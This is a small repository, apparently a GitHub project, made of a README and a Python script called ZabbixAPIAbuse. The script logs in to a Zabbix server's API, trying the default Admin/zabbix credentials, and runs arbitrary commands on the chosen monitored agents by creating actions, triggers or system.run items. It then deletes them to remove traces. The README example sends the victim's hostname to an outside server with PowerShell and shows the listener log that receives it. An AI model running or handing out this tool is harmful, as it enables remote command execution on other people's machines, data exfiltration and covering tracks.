├── README.md └── ZabbixAPIAbuse.py /README.md: -------------------------------------------------------------------------------- 1 | # ZabbixAPIAbuse 2 | ZabbixAPIAbuse is an abusing tool for Zabbix API to execute commands on zabbix agents. 3 | 4 | ## Requirements 5 | ``` 6 | python3 -m pip install requests 7 | ``` 8 | 9 | ## Example 10 | ``` 11 | python3 ZabbixAPIAbuse.py 12 | URL: http://localhost/zabbix/api_jsonrpc.php 13 | CMD: powershell -c "Invoke-WebRequest -Uri http://192.168.1.100/$(hostname)" 14 | Method [Default: action] (action / item): action 15 | Username [Default: Admin]: Admin 16 | Password [Default: zabbix]: zabbix 17 | [0]: DESKTOP-XXXXXXX 18 | [1]: DESKTOP-XXXXXXY 19 | Host num: 0 20 | [*] Waiting for execution ... 21 | [*] Actions deleted 22 | [*] Triggers deleted 23 | ``` 24 | 25 | ``` 26 | sudo python3 -m http.server 80 27 | Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) 28 | 192.168.1.108 - - [11/May/2020 13:36:23] "GET /DESKTOP-XXXXXXX HTTP/1.1" 404 - 29 | ``` -------------------------------------------------------------------------------- /ZabbixAPIAbuse.py: -------------------------------------------------------------------------------- 1 | from requests import post, get 2 | from time import sleep 3 | import random 4 | import string 5 | 6 | class ZabbixAPIAbuse(object): 7 | def __init__(self, url, cmd, method = 'action', user = 'Admin', password = 'zabbix', proxies = None): 8 | self.url = url 9 | self.cmd = cmd 10 | self.user = user 11 | self.password = password 12 | self.proxies = proxies 13 | self.delay = 3 14 | self.method = method 15 | self.run() 16 | 17 | def randomString(self, length = 8): 18 | letters = string.ascii_lowercase 19 | return ''.join(random.choice(letters) for i in range(length)) 20 | 21 | def post(self, payload): 22 | if self.proxies: 23 | return post(self.url, json = payload, verify = False, proxies = self.proxies) 24 | else: 25 | return post(self.url, json = payload, verify = False) 26 | 27 | def get(self, payload): 28 | if self.proxies: 29 | return get(self.url, verify = False, proxies = self.proxies) 30 | else: 31 | return get(self.url, verify = False) 32 | 33 | def auth(self): 34 | payload = { 35 | 'jsonrpc': '2.0', 36 | 'method': 'user.login', 37 | 'params': { 38 | 'user': self.user, 39 | 'password': self.password 40 | }, 41 | 'id': 1, 42 | 'auth': None 43 | } 44 | response = self.post(payload) 45 | if 'result' in response.json(): 46 | self.token = response.json()['result'] 47 | else: 48 | exit('[-] incorrect username or password') 49 | 50 | def getInterfaces(self, hostid): 51 | payload = { 52 | 'jsonrpc': '2.0', 53 | 'method': 'hostinterface.get', 54 | 'params': { 55 | 'output': 'extend', 56 | 'hostids': hostid, 57 | }, 58 | 'auth': self.token, 59 | 'id': 1 60 | } 61 | response = self.post(payload) 62 | try: 63 | return response.json()['result'] 64 | except: 65 | print(response.text) 66 | exit('[-] Something went wrong in getInterfaces method') 67 | 68 | def getHosts(self): 69 | payload = { 70 | 'jsonrpc': '2.0', 71 | 'method': 'host.get', 72 | 'params': {}, 73 | 'auth': self.token, 74 | 'id': 1 75 | } 76 | response = self.post(payload) 77 | try: 78 | self.hosts = [] 79 | for host in response.json()['result']: 80 | self.hosts.append({'id': host['hostid'], 'hostname': host['host'], 'interfaces': self.getInterfaces(host['hostid'])}) 81 | except: 82 | print(response.text) 83 | exit('[-] Something went wrong in getHosts method') 84 | 85 | def itemCreate(self): 86 | self.items = [] 87 | payload = { 88 | 'jsonrpc': '2.0', 89 | 'method': 'item.create', 90 | 'params': { 91 | 'name': self.randomString(), 92 | 'key_': f'system.run[{ self.cmd }]', 93 | 'delay': self.delay, 94 | 'hostid': self.host['id'], 95 | 'type': 0, 96 | 'value_type': 1, 97 | 'interfaceid': self.interface['interfaceid'] 98 | }, 99 | 'auth': self.token, 100 | 'id': 1 101 | } 102 | response = self.post(payload) 103 | try: 104 | self.items = response.json()['result']['itemids'] 105 | except: 106 | print(response.text) 107 | exit('[-] Something went wrong in itemCreate') 108 | 109 | def itemDelete(self): 110 | payload = { 111 | 'jsonrpc': '2.0', 112 | 'method': 'item.delete', 113 | 'params': self.items, 114 | 'auth': self.token, 115 | 'id': 1 116 | } 117 | response = self.post(payload) 118 | if 'result' in response.json(): 119 | print('[*] Items deleted') 120 | else: 121 | print('[-] Something went wrong in itemDelete') 122 | 123 | def itemsClear(self): 124 | payload = { 125 | 'jsonrpc': '2.0', 126 | 'method': 'item.get', 127 | 'params': { 128 | 'output': 'extend', 129 | 'hostids': self.host['id'] 130 | }, 131 | 'auth': self.token, 132 | 'id': 1 133 | } 134 | response = self.post(payload) 135 | try: 136 | result = response.json()['result'] 137 | for item in result: 138 | payload = { 139 | 'jsonrpc': '2.0', 140 | 'method': 'item.delete', 141 | 'params': [item['itemid']], 142 | 'auth': self.token, 143 | 'id': 1 144 | } 145 | self.post(payload) 146 | print('[*] Items cleared') 147 | 148 | except: 149 | print(response.text) 150 | exit('[-] Something went wrong in itemsClear') 151 | 152 | 153 | def triggerCreate(self): 154 | description = self.randomString() 155 | payload = { 156 | 'jsonrpc': '2.0', 157 | 'method': 'trigger.create', 158 | 'params': [ 159 | { 160 | 'description': description, 161 | 'expression': f'{{{self.host["hostname"]}:system.uptime.last(0)}}>0', 162 | } 163 | ], 164 | "auth": self.token, 165 | "id": 1 166 | } 167 | response = self.post(payload) 168 | try: 169 | self.triggers = {'description': description , 'ids': response.json()['result']['triggerids'] } 170 | except: 171 | print(response.text) 172 | exit('[-] Something went wrong in triggerCreate') 173 | 174 | def actionCreate(self): 175 | self.triggerCreate() 176 | payload = { 177 | 'jsonrpc': '2.0', 178 | 'method': 'action.create', 179 | 'params': { 180 | 'name': self.randomString(), 181 | 'eventsource': 0, 182 | 'status': 0, 183 | 'esc_period': 60, 184 | 'operations': [ 185 | { 186 | 'operationtype': 1, 187 | 'opcommand': {'type': 0, 'execute_on': 0, 'command': self.cmd}, 188 | 'opcommand_hst': [ {'hostid': self.host['id']} ] 189 | } 190 | ] 191 | }, 192 | 'filter': { 193 | 'evaltype': 0, 194 | 'conditions': [ 195 | { 196 | 'conditiontype': 3, 197 | 'operator': 0, 198 | 'value': self.triggers['description'] 199 | }, 200 | { 201 | 'conditiontype': 2, 202 | 'operator': 0, 203 | 'value': self.triggers['ids'][0] 204 | } 205 | ] 206 | }, 207 | 'auth': self.token, 208 | 'id': 1 209 | } 210 | response = self.post(payload) 211 | try: 212 | self.actions = response.json()['result']['actionids'] 213 | except: 214 | print(response.text) 215 | exit('[-] Something went wrong in actionCreate') 216 | 217 | def actionDelete(self): 218 | payload = { 219 | 'jsonrpc': '2.0', 220 | 'method': 'action.delete', 221 | 'params': self.actions, 222 | 'auth': self.token, 223 | 'id': 1 224 | } 225 | response = self.post(payload) 226 | if 'result' in response.json(): 227 | print('[*] Actions deleted') 228 | else: 229 | print('[-] Something went wrong in deleteItems') 230 | 231 | def triggerDelete(self): 232 | payload = { 233 | 'jsonrpc': '2.0', 234 | 'method': 'trigger.delete', 235 | 'params': self.triggers['ids'], 236 | 'auth': self.token, 237 | 'id': 1 238 | } 239 | response = self.post(payload) 240 | if 'result' in response.json(): 241 | print('[*] Triggers deleted') 242 | else: 243 | print('[-] Something went wrong in triggerDelete') 244 | 245 | def item(self): 246 | try: 247 | for i in range(0, len(self.host['interfaces'])): 248 | print(f'[{i}]: {self.host["interfaces"][i]["ip"]}') 249 | self.interface = self.host['interfaces'][int(input('Interface num: '))] 250 | self.itemCreate() 251 | print('[*] Waiting for execution ...') 252 | sleep(120) 253 | print('[*] Execution done') 254 | self.itemDelete() 255 | except: 256 | self.itemDelete() 257 | exit() 258 | 259 | def action(self): 260 | try: 261 | self.actionCreate() 262 | print('[*] Waiting for execution ...') 263 | sleep(120) 264 | self.actionDelete() 265 | self.triggerDelete() 266 | except: 267 | self.actionDelete() 268 | self.triggerDelete() 269 | exit() 270 | 271 | def run(self): 272 | self.auth() 273 | self.getHosts() 274 | for i in range(0, len(self.hosts)): 275 | print(f'[{i}]: {self.hosts[i]["hostname"]}') 276 | self.host = self.hosts[int(input('Host num: '))] 277 | if self.method == 'action': 278 | self.action() 279 | elif self.method == 'item': 280 | self.item() 281 | 282 | if __name__ == '__main__': 283 | ZabbixAPIAbuse(input('URL: '), input('CMD: '), input('Method [Default: action] (action / item): '), input('Username [Default: Admin]: '), input('Password [Default: zabbix]: ')) --------------------------------------------------------------------------------